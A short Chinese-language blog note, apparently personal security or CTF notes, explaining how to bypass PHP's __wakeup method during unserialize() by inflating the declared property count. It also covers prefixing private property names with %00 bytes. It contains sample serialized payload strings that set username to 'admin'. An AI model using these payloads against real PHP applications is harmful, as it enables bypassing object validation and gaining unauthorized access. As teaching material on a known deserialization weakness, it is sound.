php 反序列化__wakeup 绕过

sec

php 反序列化

1. __wakeup 绕过

反序列化得到字符串

O:4:”Name”:2:{s:14:”Nameusername”;s:5:”admin”;s:14:”Namepassword”;i:100;}

在 unserialize() 之后会执行 __wake() 方法,如果,所给参数个数与实际参数个数不符,则不会执行 __wake(),例如

1
'O:4:"Name":**3**:{s:14:"Nameusername";s:5:"admin";s:14:"Namepassword";i:100;}'

Note:

私有属性反序列化需要加前缀,不知道为什么,在 serialize() 的时候,成员变量本身是私有的,但是,还是给出了以上的序列化结果。实际用的时候一直失败,后来,才知道,私有变量反序列化需要加 0值 分隔

所以,当 username 和 password 是私有成员变量时,需要使用以下字符串反序列化才能成功

1
'O:4:"Name":2:{s:14:"%00Name%00username";s:5:"admin";s:14:"%00Name%00password";i:100;}'

此处的 %00 是 urlencode

Author: 哒琳

Permalink: http://blog.jieis.cn/2022/9c327433-a8b5-421c-8ece-f42f0869a347.html

Comments